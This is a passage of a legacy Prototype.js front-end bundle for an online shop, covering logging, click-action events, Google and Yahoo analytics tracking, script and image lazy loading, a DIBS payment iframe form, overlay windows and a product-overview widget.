	return element;
}

Element.Methods.removeClassNames = function(element, classNames)
{
	if (!(element = $(element))) return;
	classNames.split(' ').each(function(className) { element.removeClassName(className); });
	return element;
}

// Hack to keep logger static - please do not address this variable
var _IDLogger;

ID = Class.create({
	_identity: 'ID',

	toString: function() { return this._identity; },
	_getLogger: function() {
		// Already got one?
		if (this._logger !== undefined) {
			return this._logger;
		}

		// Got a "static" logger?
		if (_IDLogger !== undefined) {
			return (this._logger = _IDLogger);
		}

		// Firebug?
		if ((typeof console != 'undefined') &&
			Object.isFunction(console.log) &&
			Object.isFunction(console.info) &&
			Object.isFunction(console.debug) &&
			Object.isFunction(console.warn) &&
			Object.isFunction(console.error)) {
			return (this._logger = new ID.Logger.Firebug());
		}

		// Simple console.log() ?
		if ((typeof(console) !== 'undefined') && (typeof(console.log !== 'undefined'))) {
			return (this._logger = new ID.Logger.SimpleConsole());
		}

		// TODO: Logbook window?
		
		// Default dummy null logger
		return (this._logger = new ID.Logger.Null());
	},
	_log: function(str) { this._getLogger().log(this.toString(), str); },
	_debug: function(str) { this._getLogger().debug(this.toString(), str); },
	_info: function(str) { this._getLogger().info(this.toString(), str); },
	_warn: function(str) { this._getLogger().warn(this.toString(), str); },
	_error: function(str) { this._getLogger().error(this.toString(), str); },
	
	stringIsNullOrEmpty: function(str)
	{
		return ( str === undefined || str === null ) ? true : str.empty();
	}
});


//-----------------------------------------------------------------------------------------------------------------------------
// Loggers
//-----------------------------------------------------------------------------------------------------------------------------

ID.Logger = Class.create({
	log: function() {},
	debug: function() {},
	info: function() {},
	warn: function() {},
	error: function() {}
});	

ID.Logger.SimpleConsole = Class.create(ID.Logger,{
	_log: function(severity, context, str) {
		var output = '['+severity+'] ['+context+'] '+str;
		console.log(output);
	},
	log: function(context, str) { this._log('LOG', context, str); },
	debug: function(context, str) { this._log('DEBUG', context, str); },
	info: function(context, str) { this._log('INFO', context, str); },
	warn: function(context, str) { this._log('WARN', context, str); },
	error: function(context, str) { this._log('ERROR', context, str); }
});

ID.Logger.Firebug = Class.create(ID.Logger,{
	log: function(context, str) { console.log('['+context+'] '+str); },
	debug: function(context, str) { console.debug('['+context+'] '+str); },
	info: function(context, str) { console.info('['+context+'] '+str); },
	warn: function(context, str) { console.warn('['+context+'] '+str); },
	error: function(context, str) { console.error('['+context+'] '+str); }
});

ID.Logger.Null = Class.create(ID.Logger,{
	log: function() {},
	debug: function() {},
	info: function() {},
	warn: function() {},
	error: function() {}
});


/*
ID.Logger.Logbook = Class.create(ID.Logger,{
	initialize: function($super, element) {
		$super();
		this._element = $(element);
		if (!this._element) {
			throw 'Unable to locate logbook element: '+element;
		}
	},
	log: function(level, context, str) {
		this._element.insert(new Element('div')
			.addClassName('logentry')
			.insert(new Element('span')
				.addClassName('logentry_context')
				.update(this.toString())
			)
			.insert(new Element('span')
				.addClassName('logentry_content')
				.update(str)
			)
		);
		(function(){ logbook.scrollTop = logbook.scrollHeight; }).defer();
	}
});
*/


//-----------------------------------------------------------------------------------------------------------------------------
// ActionClickHandler
//-----------------------------------------------------------------------------------------------------------------------------

ID.ActionClickHandler = Class.create(ID,{
	_identity: 'ID.ActionClickHandler',

	initialize: function(options) {
		this._options = Object.extend({
			'actionClassName':				'action',
			'actionNameClassNamePrefix':	'action',
			'stripActionNamePrefix':		true,
			'actionDataClassNamePrefix':	'actiondata',
			'eventNameSpace':				'action',
			'disabledClassName':			'disabled'
		},options || {});

		//var observeElement = Prototype.Browser.IE ? $$('body').first() : document;
		//observeElement.observe('click', this._onClick.bindAsEventListener(this));

		Event.observe(document.body, 'click', this._onClick.bindAsEventListener(this));
	},
	_onClick: function(evt) {
		// Check keys/buttons
		if (evt.ctrlKey || evt.altKey || evt.metaKey || evt.shiftKey) {
			this._log('Ignoring click+key');
			return;
		}

		// Find click element
		var clickElement = Event.element(evt);

		// Find action element
		var actionElement = clickElement;
		if (!actionElement.hasClassName(this._options.actionClassName)) {
			actionElement = actionElement.up('.'+this._options.actionClassName);
			if (!actionElement) {
				//this._log('Ignoring click on non-action element');
				return;
			}
		}

		// Stop event
		Event.stop(evt);

		// Bail out if action element contains any of the disabled classes
		if (actionElement.hasClassName(this._options.disabledClassName)) {
			this._log('Ignoring click on disabled element');
			return;
		}

		// Gather data by iterating through class names
		var data = {};
		actionElement.classNames().each(function(className){
			var match = className.match('^'+this._options.actionDataClassNamePrefix+'_(.*?)_(.*)$');
			if (match === null) { return; }

			data[match[1]] = match[2];
		},this);

		// Find action events to fire by iterating through class names
		// (having more than one action class would be weird, but we'll humor you)
		actionElement.classNames().each(function(className){
			var match = className.match('^'+this._options.actionNameClassNamePrefix+'_(.*)');
			if (match == null) { return; }

			var eventName = (this._options.stripActionNamePrefix ? match[1] : match[0]);
			this._fireEvent(eventName,{
				'eventName': eventName,
				'clickEvent': evt,
				'clickElement': clickElement,
				'actionElement': actionElement,
				'data': data
			});
		},this);
	},
	_fireEvent: function(name, memo) {
		var eventName = this._options.eventNameSpace+':'+name;
		this._log('Firing event: '+eventName+' ('+Object.toJSON(memo.data)+')');
		document.fire(this._options.eventNameSpace+':'+name, memo);
	}
});

//new ID.ActionClickHandler();

//-----------------------------------------------------------------------------------------------------------------------------
// StateMachine
//-----------------------------------------------------------------------------------------------------------------------------

ID.AbstractStateMachine = Class.create(ID, {
	initialize: function() {
		this._state = undefined;
	},
	setState: function(state) {
		this._log('Switching to state '+state.toString());
		if (this._state !== undefined) {
			try {
				this._state.teardown();
			} catch(ex) {
				this._log('Method teardown() threw exception: '+ex);
			}
		}
		this._state = state;
		this._state.setContext(this);

		try {
			this._state.update();
		} catch(ex) {
			this._log('Method update() threw exception: '+ex);
		}
	}
});

ID.AbstractState = Class.create(ID, {
	/*
	initialize: function() {
	},
	*/
	setContext: function(context) {
		this._context = context;
	},
	update: function() {
	},
	teardown: function() {
	},
	setState: function(state) {
		this._context.setState(state);
	}
});

if ( Object.isUndefined(CodeCompany) ) { var CodeCompany = { }; }

//-------------------------------------------------------------------------------------------------------------

CodeCompany.PageTracker = Class.create({
	initialize: function(trackId,options) {
		this._trackId = trackId;
		this._pageTracker = null;
		this.pendingTracks = [];
		
		document.observe(this.options.eventName, this._onTrackEvent.bindAsEventListener(this));
		
		var scriptUrl = (document.location.protocol=='https:' ? this.options.httpsUrl : this.options.httpUrl);
		this.options.logFunction('Lazy-loading '+scriptUrl);
		LazyLoader.load(scriptUrl,this._setup.bind(this));
	},
	_setup: function(){ throw "You need to implement _setup()"; },
	_track: function(){ throw "You need to implement _track()"; },
	_trackPending: function()
	{
		if (this._pageTracker==null) { return; }
		var opts;
		while (opts=this.pendingTracks.shift()) {
			this._track(opts);
		}
	},
	_queueTrack: function(opts) {
		this.pendingTracks.push(opts);
		this._trackPending();
	},
	_onTrackEvent: function(event)
	{
		this.options.logFunction('Track event received');
		this._queueTrack(event.memo);
	}
});

//-------------------------------------------------------------------------------------------------------------

CodeCompany.PageTrackerGoogle = Class.create(CodeCompany.PageTracker,{
	initialize: function($super, trackId,options)
	{
		this.options = Object.extend({
			logFunction:	function(){},
			eventName:		'custom:googletrack',
			httpUrl:		'http://www.google-analytics.com/ga.js',
			httpsUrl:		'https://ssl.google-analytics.com/ga.js'
		}, options || {} );
		$super(trackId,options);
	},
	_setup: function()
	{
		if (undefined===_gat) {
			this.options.logFunction('Google tracking script did not provide _gat object.');
			return;
		}
		try {
			this._pageTracker = _gat._getTracker(this._trackId);
			this._pageTracker._initData();
			this.options.logFunction('Initialized');
		}
		catch (e) {
			this.options.logFunction('Initialization failed: '+e.message);
		}
		this._queueTrack({});
	},
	_track: function(opts)
	{
		var debugStr = 'Tracking';
		if (undefined !== opts.trackUrl) {
			debugStr += ' trackUrl='+opts.trackUrl;
		}
		this.options.logFunction(debugStr);
		try {
			this._pageTracker._trackPageview(opts.trackUrl);
		} catch(e) {
			this.options.logFunction('Tracking call to Google failed: '+e.message);
		}
	}
});

//-------------------------------------------------------------------------------------------------------------

CodeCompany.PageTrackerYahoo = Class.create(CodeCompany.PageTracker,{
	initialize: function($super,trackId,options)
	{
		this.options = Object.extend({
			logFunction:	function(){},
			eventName:				'custom:yahootrack',
			defaultDocumentGroup:	undefined,
			defaultDocumentName:	undefined,
			httpUrl:				'http://d.yimg.com/mi/eu/ywa.js',
			httpsUrl:				'https://s.yimg.com/mi/eu/ywa.js'
		}, options || {} );
		$super(trackId,options);
	},
	_setup: function()
	{
		if (undefined===YWA) {
			this.options.logFunction('Yahoo tracking script did not provide YWA object.');
			return;
		}
		try {
			this._pageTracker = YWA.getTracker(this._trackId);
			this.options.logFunction('Initialized');
		}
		catch (e) {
			this.options.logFunction('Initialization failed: '+e.message);
		}
		this._queueTrack({});
	},
	_track: function(opts)
	{
		var debugStr = 'Tracking';

		// DocumentGroup - fallback to default specified in constructor options
		if (undefined === opts.documentGroup) {
			opts.documentGroup = this.options.defaultDocumentGroup;
		}
		if (undefined !== opts.documentGroup) {
			this._pageTracker.setDocumentGroup(opts.documentGroup);
			debugStr += ' documentGroup='+opts.documentGroup;
		}
		// DocumentName - fallback to default specified in constructor options
		if (undefined === opts.documentName) {
			opts.documentName = this.options.defaultDocumentName;
		}
		if (undefined !== opts.documentName) {
			this._pageTracker.setDocumentName(opts.documentName);
			debugStr += ' documentName='+opts.documentName;
		}

		this.options.logFunction(debugStr);

		try {
			this._pageTracker.submit();
		} catch(e) {
			this.logFunction('Tracking call to Yahoo failed: '+e.message);
		}
	}
});


if (Object.isUndefined(CodeCompany)) { var CodeCompany = {}; }

CodeCompany.ImageFrames = Class.create({

	log: function(str) {
		if (!Object.isUndefined(site)) { site.log('ImageFrames: '+str); }
	},

	initialize: function(options) {
		this.options = Object.extend({
			transparentImage: '/files/system/transpacer.gif'
		},options || {});

		// Find and build
		$$('.block .frameinfo').each(function(element){
			this.build(element.up());
		},this);
	},

	build: function(blockElement) {
		var image = undefined;
		var imageElements = blockElement.select('img');
		if (imageElements.length != 1) {
			this.log('ERROR: .block element contains more than one image.');
			return;
		}
		image = imageElements[0];

		var info = undefined;
		var infoElements = blockElement.select('.frameinfo');
		if (infoElements.length == 1) {
			info = infoElements[0];
		}

		var border = 3;

		// Image dimensions
		var width = image.getWidth();
		var height = image.getHeight();

		// Build and insert frameElement
		var frameElement = new Element('div');
		frameElement.addClassName('frame');
		frameElement.style.position = 'absolute';
		frameElement.style.width = width+'px';
		frameElement.style.height = height+'px';
		blockElement.insert({top:frameElement});

		// Dimensions of Content-window (see-thru)
		var windowWidth = (width-(2*border));
		var windowHeight = (height-(2*border));
		var windowHtml = '';

		// Find a suitable link
		var linkElement = undefined;
		linkElement = image.up('a');
		if (undefined===linkElement) { linkElement = info.down('a'); }

		if (undefined!==linkElement) {
			windowHtml =
				'<a href="'+linkElement.readAttribute('href')+'">'+
				'<img src="'+this.options.transparentImage+'" width="'+windowWidth+'" height="'+windowHeight+'" />'+
				'</a>';
		}

		this.log('Building frame for image '+image.src+' ('+width+'x'+height+')');

		var html = 
			'<table cellspacing="0" cellpadding="0" border="0" height="'+height+'" width="'+width+'">'+
				'<tr height="'+border+'">'+
					'<td class="frame_topleft" width="'+border+'"></td>'+
					'<td class="frame_top" width="'+windowWidth+'"></td>'+
					'<td class="frame_topright" width="'+border+'"></td>'+
				'</tr>'+
				'<tr height="'+(height-(2*border))+'">'+
					'<td class="frame_left" width="'+border+'"></td>'+
					'<td class="frame_window" width="'+windowWidth+'">'+windowHtml+'</td>'+
					'<td class="frame_right" width="'+border+'"></td>'+
				'</tr>'+
				'<tr height="'+border+'">'+
					'<td class="frame_bottomleft" width="'+border+'"></td>'+
					'<td class="frame_bottom" width="'+windowWidth+'"></td>'+
					'<td class="frame_bottomright" width="'+border+'"></td>'+
				'</tr>';
		
		// Add an info cell?
		if (info !== undefined) {
			html += '<tr>';
			html += '<td colspan="3" class="frame_content" valign="bottom" align="left">'+info.innerHTML+'</td>';
			html += '</tr>';
		}

		html += '</table>';

		frameElement.update(html);

					

	}
	
});



if (Object.isUndefined(CodeCompany)) { var CodeCompany = {}; }

CodeCompany.FunctionChain = Class.create({

	log: function(str) {
		if (!Object.isUndefined(site)) { site.log('FunctionChain['+this.name+']: '+str); }
	},

	initialize: function(name,options) {
		this.options = Object.extend({
			defaultPriority:	50
		},options || {});
		this.name = name;
		this._chain = [];
		this.executed = false;
	},
	
	addFunction: function(fn,name,priority) {
		if (this.executed) {
			this.log('Error: addFunction() after chain execution!');
			return false;
		}
		if (undefined===name) {
			name = 'Function #'+this._chain.length;
		}
		if (undefined===priority) {
			priority = this.options.defaultPriority;
		}
		this._chain.push({
			'fn':		fn,
			'name':		name,
			'priority':	priority
		});
	},
	
	executeChain: function() {
		var i=0;
		this.log('Begins');
		this._chain.sortBy(function(item){ return item.priority; }).each((function(item) {
			var identity = item.name+' (Priority '+item.priority+') ';
			var ok = true;
			try {
				item.fn();
			}
			catch (ex) {
				this.log(identity+'Failed: '+ex.message);
				ok = false;
			}
			if (ok) {
				this.log(identity+'Successful');
			}
		}).bind(this));
		this.executed = true;
		this.log('Ends');
	},
	
	hasBeenExecuted: function() {
		return this.executed;
	}
});

/**  
 *  Script lazy loader 0.5
 *  Copyright (c) 2008 Bob Matsuoka
 *
 *  This program is free software; you can redistribute it and/or 
 *  modify it under the terms of the GNU General Public License
 *  as published by the Free Software Foundation; either version 2
 *  of the License, or (at your option) any later version.
 */
 
var LazyLoader = {}; //namespace
LazyLoader.timer = {};  // contains timers for scripts
LazyLoader.scripts = [];  // contains called script references
LazyLoader.load = function(url, callback) {
        // handle object or path
        var classname = null;
        var properties = null;
        try {
                // make sure we only load once
                if ($A(LazyLoader.scripts).indexOf(url) == -1) {
                        // note that we loaded already
                        LazyLoader.scripts.push(url);
                        var script = document.createElement("script");
                        script.src = url;
                        script.type = "text/javascript";
                        $$("head")[0].appendChild(script);  // add script tag to head element
                        
                        // was a callback requested
                        if (callback) {    
                                // test for onreadystatechange to trigger callback
                                script.onreadystatechange = function () {
                                        if (script.readyState == 'loaded' || script.readyState == 'complete') {
                                                callback();
                                        }
                                }                            
                                // test for onload to trigger callback
                                script.onload = function () {
                                        callback();
                                        return;
                                }
                                // safari doesn't support either onload or readystate, create a timer
                                // only way to do this in safari
                                if ((Prototype.Browser.WebKit && !navigator.userAgent.match(/Version\/3/)) || Prototype.Browser.Opera) { // sniff
                                        LazyLoader.timer[url] = setInterval(function() {
                                                if (/loaded|complete/.test(document.readyState)) {
                                                        clearInterval(LazyLoader.timer[url]);
                                                        callback(); // call the callback handler
                                                }
                                        }, 10);
                                }
                        }
                } else {
                        if (callback) { callback(); }
                }
        } catch (e) {
                alert(e);
        }
}

var lazyImages = Class.create({
    initialize: function (idName,type) {
        // code to execute - build array and variables
        this.imgHide = $$(type + idName);
        this.classNm = ''+idName;
        //site.log('=== Image lazyload class:' + this.classNm);
    },
    reload: function () {
        // code to execute - show
        //var rClass = this.classNm;
        var reCount = 0;
        this.imgHide.each(function (item) {
            var new_source = item.readAttribute('_src');
            item.writeAttribute({
                src: new_source
            })
            reCount++;
            //item.removeClassName(rClass); DISABLED
        });
        //site.log('+++ Image lazyload - reloaded ' + '' + this.classNm + ':' + this.imgHide.length + '/' + reCount);
        // refurbish page
        document.fire("custom:contentrefresh");
    },
    unload: function () {
        // code to execute - hide
        //site.log('--- Image lazyload - unloaded ' + '' + this.classNm + ':' + this.imgHide.length);
        this.imgHide.each(function (item) {
            var old_source = item.readAttribute('src');
            var new_source = '/files/system/gfx/id_loader.gif';
            item.writeAttribute({
                src: new_source
            })
            item.writeAttribute({
                '_src': old_source
            });
        });
    }
});

// initialize the lazyload with classes and observers to use/load
document.observe("dom:loaded", function () {
// ################################### these loads are performed just after the DOM is loaded ###################################

    // Hide gallery-images 3-10
    var hide0 = new lazyImages('secImg','.'); // initialize
    hide0.unload();
    
    // Hide product-overview-images 10-?
	var hide3 = new lazyImages('thiImg','.'); // initialize
	hide3.unload();
	
	// **** generisk page:loaded ******
	var lazyPageLoad = new lazyImages('lazypage','.'); // initialize
	lazyPageLoad.unload();
	
	// **** generisk transition:loaded ******
	var lazyTransLoad = new lazyImages('lazychange','.'); // initialize
	lazyTransLoad.unload();
	
// ################################### these loads are performed after the page has been loaded ###################################

    // **** genrisk page:loaded ******
	chainWindowLoaded.addFunction(function(){
	   lazyPageLoad.reload();
    },'lazyPageLoad',999);

// ################################### these loads are performed after the transition has been performed ###################################
    
    // **** generisk transition:loaded ******
    chainWindowLoaded.addFunction(function(){
	   lazyTransLoad.reload();
    },'lazyTransLoad',999);
    
    // ****** galleri ******
    // Gallery-images are hidden in the product-snippet
    chainWindowLoaded.addFunction(function(){
        hide0.reload();
    },'LazyGallery',99);
    
    // ****** farver ******
    chainWindowLoaded.addFunction(function(){
     	// thumbnail-images are hidden in html _src
        var hide1 = new lazyImages('cThmb','.');  // initialize
        Event.observe('loadColor', 'click', function(event) {
             hide1.reload(); // load thumbnails src from _src
         });
        Event.observe('loadColor2', 'click', function(event) {
             hide1.reload(); // load thumbnails src from _src
         });
    },'LazyColors');
    
    // ****** produktoversigt ******
    chainWindowLoaded.addFunction(function(){
        var hide4 = new lazyImages('thiImg','.'); // initialize again - the source has been copied
        hide4.reload();
    },'LazyProducts',99);

});


if ( Object.isUndefined(ID) ) { var ID = { }; }

//-------------------------------------------------------------------------------------------------------------

ID.Payment = Class.create({
	log: function(str) {
		site.log('[ID.Payment] '+str);
	},
	initialize: function(elementId,basketId,options) {
		this.formValues = {};
		this.element = $(elementId);
		this.basketId = basketId;
		this.options = Object.extend({
			'paymentURL':	'https://payment.architrade.com/paymentweb/start.action',
			'frameName':	'dibsPayment'
		},options||{});

		this._loadvalues();
	},
	_loadvalues: function() {
		this.log('Loading form values..');

		// Use Microsoft Ajax stub
		dk.ide.webservice.BasketService.GetPaymentPostData(this.basketId,this.onValuesLoaded.bind(this));

		/*
		this.formValues = {
			'merchant':		'90054063',
			'orderid':		'test-20110210155255',
			'amount':		'12345',
			'currency':		'208',
			'accepturl':	'https://www.ide.dk/payment/accept',
			'cancelurl':	'https://www.ide.dk/payment/cancel',
			'test':			'yes',
			'color':		'none'
		};
		*/
	},
	onValuesLoaded: function(result) {
		var data = (!Object.isUndefined(result.d))?result.d:result;

		if (data.amount === null) {
			this._reportError('Invalid/empty POST data received from server');
			return;
		}

		this.formValues = {
			'merchant':		data.HTTP_COOKIE,
			'accepturl':	data.accepturl,
			// 'amount':		data.amount,
			'callbackurl':	data.callbackurl,
			'cancelurl':	data.cancelurl,
			'color':		data.color,
			'currency':		data.currency,
			'md5key':		data.md5key,
			'merchant':		data.merchant,
			'orderid':		data.orderid
		};
		if ( data.test == 'yes' )
		{
			this.formValues.test = 'yes';
		}
		
		if ( data.splits > 1 )
		{
			this.formValues.split = data.splits;
			
			var i = 1;
			var amounts = $H();
			
			data.splitTransactions.each(function(split) {
				amounts.set('amount'+split.transactIdx, split.amount);
			});
			
			/***
			data.splitamounts.each(function(splitamount) {
				amounts.set('amount'+i, splitamount);
				i += 1;
			});
			/***/
			
			Object.extend(this.formValues, amounts.toObject());
		}
		else
		{
			this.formValues.amount = data.amount;
		}

		// Now render the form
		this._render();
	},
	_render: function() {
		// Create IFRAME
		this.frame = new Element('IFRAME',{
			'height':		450,
			'width':		600,
			'scrolling':	'no',
			'frameBorder':	'0',
			'name':			this.options.frameName,
			'id':			this.options.frameName
		});

		this.frame.addClassName('paymentFrame');

		// Create FORM
		this.form = new Element('FORM',{
			'name':			'paymentForm',
			'method':		'post',
			'action':		this.options.paymentURL,
			'target':		this.options.frameName
		});

		// IE7?
		this.form.target = this.options.frameName;

		// Add elements to form
		$H(this.formValues).each(function(t){
			var formField = new Element('INPUT');
			formField.type = 'hidden';
			formField.name = t.key;
			formField.value = t.value;
			this.form.insert({'bottom':formField});
		},this);

		// Add form and frame to page
		this.log('Inserting elements into DOM..');
		this.element.update(); // Could cause problems on ID and require a defer()
		this.element.insert({'bottom':this.form});
		this.element.insert({'bottom':this.frame});

		// Queue submit
		this._checkRendered.bind(this).defer();
	},
	_checkRendered: function() {
		if ($(this.options.frameName)) {
			this._submit();
		} else {
			this._checkRendered.delay(1);
		}
	},
	_submit: function() {
		this.log('Submitting form..');
		this.form.submit();
						
		// page ready
		(function(){$('receiver').removeClassName('pending')}).delay(3.5);
	},
	_reportError: function(str) {
		this.log('Error: '+str);
		document.fire('custom:payment','error');
	}
});

//-------------------------------------------------------------------------------------------------------------

/*jslint unparam: true, browser: true, sloppy: true, white: true, nomen: true, maxerr: 50, indent: 4 */

if (typeof(ID) === 'undefined') { throw "The ID class is required for OverlayHandler.js"; }

//-------------------------------------------------------------------------------------------------------------
// To show an element:
//
//     document.fire('overlaywindow:show', {'element': foobar});
//
// To hide an element:
//
//     Click an element with class "action_overlaywindowclose"
//     document.fire('overlaywindow:show');
// 

ID.OverlayHandler = Class.create(ID,{
	toString: function() { return 'ID.OverlayHandler'; },
	initialize: function(options) {
		this.options = Object.extend({
			// Master element
			'elementId':					'overlaywindowhandler',
			'elementClass':					'overlaywindowhandler',
			// Container for window elements
			'containerElementClass':		'overlaywindowcontainer',
			// Backdrop element
			'backdropElementClass':			'overlaywindowbackdrop',
			// Window stuff
			'windowElementSelector':		'.overlaywindow',
			'windowElementHandledClass':	'overlaywindowhandled',
			'windowAutoOpenClass':			'overlaywindowautoopen',
			// Effects
			'backdropOpacity':				0.7,
			'backdropAppearDuration':		0.5,
			'backdropFadeDuration':			0.2,
			'windowAppearDuration':			0.5,
			'windowFadeDuration':			0.2
		},options || {});

		this.visibleElement = undefined;
		this.backdropVisible = false;

		// Get master element
		this.element = $(this.options.elementId);
		if (this.element === null) {
			this.element = new Element('div',{'id':this.options.elementId})
				.addClassName(this.options.elementClass)
				.hide();
			$$('body').first().insert({'top':this.element});
		}

		// Get container element
		this.containerElement = this.element.down('.'+this.options.containerElementClass);
		if (this.containerElement === undefined) {
			this.containerElement = new Element('div')
				.addClassName(this.options.containerElementClass);
			this.element.insert({'top':this.containerElement});
		}

		// Get backdrop element
		this.backdropElement = this.element.down('.'+this.options.backdropElementClass);
		if (this.backdropElement === undefined) {
			this.backdropElement = new Element('div')
				.addClassName(this.options.backdropElementClass)
				.hide();
			this.element.insert({'top':this.backdropElement});
		}

		this._onDomUpdated.bind(this).defer();
	},
	_onDomUpdated: function() {
		this._resize();
		this._scan();
		this._autoopen();

		// Redirect action events (from ActionClickHandler)
		document.observe('action:showoverlaywindow', (function(evt){
			this._debug('Forwarding action event to overlaywindow event');
			document.fire('overlaywindow:show',{'element':evt.memo.data.overlaywindow});
		}).bindAsEventListener(this));

		document.observe('overlaywindow:show', this._onShowEventReceived.bindAsEventListener(this));
		document.observe('overlaywindow:refresh', this._onRefreshEventReceived.bindAsEventListener(this));
		document.observe('custom:contentrefresh', this._onRefreshEventReceived.bindAsEventListener(this));
		Event.observe(window,'resize', this._onWindowResize.bindAsEventListener(this));
		this.containerElement.observe('click', this._onContainerClick.bindAsEventListener(this));
	},
	_onWindowResize: function(e) {
		this._resize();
	},
	_onContainerClick: function(e) {
		var element = Event.element(e);

		// Did we click the backdrop?
		if (element.hasClassName(this.options.containerElementClass)) {
			this._hide();
			return;
		}

		// Did we click a close element?
		if (element.hasClassName('action_overlaywindowclose') || element.up('.action_overlaywindowclose')) {
			Event.stop(e);
			this._hide();
			return;
		}

		// Still here?
		this._debug('Received click event in container: '+element.inspect());
	},
	_onRefreshEventReceived: function(e) {
		this._debug('Refresh event received');
		this._scan();
	},
	_onShowEventReceived: function(e) {
		this._debug('Show event received');

		// Just in case
		this._scan();

		if (e.memo.element === undefined) {
			this._hide();
		} else {
			var element = $(e.memo.element);
			if (element === null) {
				this._error('Element not found');
			} else {
				this._show(element);
			}
		}
	},
	_autoopen: function() {
		var element = $$('.'+this.options.windowAutoOpenClass).first();
		if (element !== undefined) {
			this._info('Auto-opening element..');
			this._show(element);
		}
	},
	_fire: function(eventName, memo) {
		var fullEventName = 'overlaywindow:'+eventName;
		this._debug('Firing event: '+fullEventName);
		document.fire(fullEventName, memo);
	},
	_resize: function() {
		// Make sure the overlay container has the same width as the page
		var viewportDim = document.viewport.getDimensions();
		var pageWidth = viewportDim.width;
		var pageHeight = viewportDim.height;

		this.containerElement.setStyle({
			'height':	''+pageHeight+'px'
		});
		this.backdropElement.setStyle({
			'height':	''+pageHeight+'px'
		});
	},
	_hide: function() {
		this._hideVisibleElement(this._hideBackdrop.bind(this));
	},
	_hideVisibleElement: function(callback) {
		if (this.visibleElement !== undefined) {
			this._info('Fading visible element..');
			this.visibleElement.fade({
				'duration':		this.options.windowFadeDuration,
				'afterFinish':	(callback === undefined ? undefined : callback)
			});
			this.visibleElement = undefined;
		} else {
			try {
				callback();
			} catch(ex) {
				this._error('Callback failed: '+ex);
			}
		}
	},
	_hideBackdrop: function() {
		if (this.backdropVisible) {
			this._info('Fading backdrop..');
			this.backdropElement.fade({
				'duration':		this.options.backdropFadeDuration,
				'afterFinish':	this._hideMasterElement.bind(this)
			});
			this.backdropVisible = false;
		}
	},
	_hideMasterElement: function() {
		this.element.hide();
		this._fire('hidden');
	},

	_show: function(element) {
		this._info('Showing: '+element.identify());

		/* Check if this element is outside the container */
		if (!element.hasClassName(this.options.windowElementHandledClass)) {
			this._moveElementToContainer(element);
		}

		this._showBackdrop(this._hideVisibleElement.bind(this,this._showElement.bind(this,element)));
	},
	_showBackdrop: function(callback) {
		this.element.show();
		if (!this.backdropVisible) {
			this._info('Appearing backdrop..');
			this.backdropElement.appear({
				'to':			this.options.backdropOpacity,
				'duration':		this.options.backdropAppearDuration,
				'afterFinish':	(callback === undefined ? undefined : callback)
			});
			this.backdropVisible = true;
		} else {
			if (callback) {
				try {
					callback();
				} catch(ex) {
					this._error('Callback failed: '+ex);
				}
			}
		}
	},
	_showElement: function(element) {
		this._info('Appearing element #'+element.identify());
		this.visibleElement = element;
		this.visibleElement.appear({
			'duration':		this.options.windowAppearDuration,
			'afterFinish':	this._onElementAppeared.bind(this,element)
		});
	},
	_onElementAppeared: function(element) {
		this._fire('visible_'+element.identify());
		this._fire('visible',{'element':element});
	},
	_moveElementToContainer: function(element) {
		this._info('Moving element to container: #'+element.identify());
		element.hide();
		element.addClassName(this.options.windowElementHandledClass);
		this.containerElement.insert({'bottom':element});
	},
	_scan: function() {
		var elements = $$(this.options.windowElementSelector);
		elements.each(function(element){
			if (!element.hasClassName(this.options.windowElementHandledClass)) {
				this._moveElementToContainer(element);
			}
		},this);
	}
});

/*jslint devel: true, browser: true, sloppy: true, eqeq: true, white: true, nomen: true, plusplus: true, maxerr: 50, indent: 4 */

if (typeof(ID) === 'undefined') { throw "The ID class is required for ProduktOversigt.js"; }
if (typeof(Effect) === 'undefined') { throw "The Effect class (Scriptaculous) is required for ProduktOversigt.js"; }

Effect.SmoothSliderSetValue = Class.create(Effect.Base, {

	initialize: function(element, options) {
		this.element = element;
		if (!this.element) { throw Effect._elementDoesNotExistError; }
		var options = Object.extend({
			from: 0,
			to: 0,
			duration: 1.0
		}, options || { });
		this.factor = 1/(options.to-options.from);
		this.start(options);
	},

	update: function(position) {
		this.element.setValue(position);
	}
});


if (ID === undefined) { var ID = {}; }

//-------------------------------------------------------------------------------------------------------------

ID.ProduktOversigt = Class.create(ID,{
	_identity: 'ID.ProduktOversigt',

	initialize: function(elementId,itemArr,options) {
		this.containerElement = $(elementId).up('.produktoversigt');

		this.options = Object.extend({
			'itemContainer': { },
			'menubar': {
				'buttons': {
					'filter': ['none','onoffer','shopable']
				}
			}
		},options || {});

		this.menubar	= new ID.ProduktOversigtMenubar('produktoversigt_menubar',this._onMenuBarChanged.bind(this));
		this.items		= new ID.ItemContainer(itemArr,this._onItemsLoaded.bind(this),this.options.itemContainer);
		this.views		= new ID.ProduktOversigtViews(elementId, {'menubar': this.menubar});
		
		this.containerElement.observe('click',this._onClick.bindAsEventListener(this));

		this._info('Initialized');
	},

	_onItemsLoaded: function() {
		$('produktoversigt_dataloading').hide();
		
		//this._info('Items loaded');

		// Add filter buttons
		this.options.menubar.buttons.filter.each(function(filter){
			var count = this.items.count(filter);
			if (count) {
				this.menubar.addButton('filter', filter, '('+count+')');
			}
		},this);
		
		//this._info('Filters added');
		
		try {
			this.menubar.pickDefaults();
		}
		catch(ex){
			this._error(ex);
		}
	},

	_onMenuBarChanged: function() {
		//this._info('Menu bar changed');
		this._render();
	},

	_render: function(show) {
		if (show===undefined) { show=true; }
		var viewName = this._renderView(
			this.menubar.getSelectedButton('filter'),
			'vertical'
			/* this.menubar.getSelectedButton('mode') */
		);
		if (show) {
			this.views.show(viewName);
		}
	},

	_renderView: function(filter, mode) {
		var viewName = filter+'_'+mode;
		if (!this.views.has(viewName)) {
			var view = this.views.add(viewName, mode);
			var filteredItems = this.items.filter(filter);
			view.setItems(filteredItems);
		}
		// TODO: Consider returning the view - not the name of it
		return viewName;
	},

	_onClick: function(evt) {
		var element = Event.element(evt);
		if (!element.hasClassName('action')) {
			if (!(element = element.up('.action'))) {
				this._debug('Ignoring click on non-action element');
				return false;
			}
		}
		var parmsArr = element.identify().split('_');
		if (this._handleAction(element,parmsArr)) {
			Event.stop(evt);
		} else {
			this._warn('Unhandled or failed action');
		}
	},

	_handleAction: function(element,parmsArr) {
		this._info('Action: '+element.identify());
		switch (parmsArr[0]) {
			/* case 'produktoversigtmode': */
			case 'produktoversigtfilter':
				return this.menubar.handleAction(element,parmsArr);

			case 'produktoversigtprint':
				window.print();
				return true;

			case 'produktoversigtitem':
				return this.items.handleAction(element,parmsArr);

			case 'sliderbutton':
				return this.views.handleAction(element,parmsArr);
		}
		return false;
	}
});

//-------------------------------------------------------------------------------------------------------------

ID.ItemContainer = Class.create(ID,{
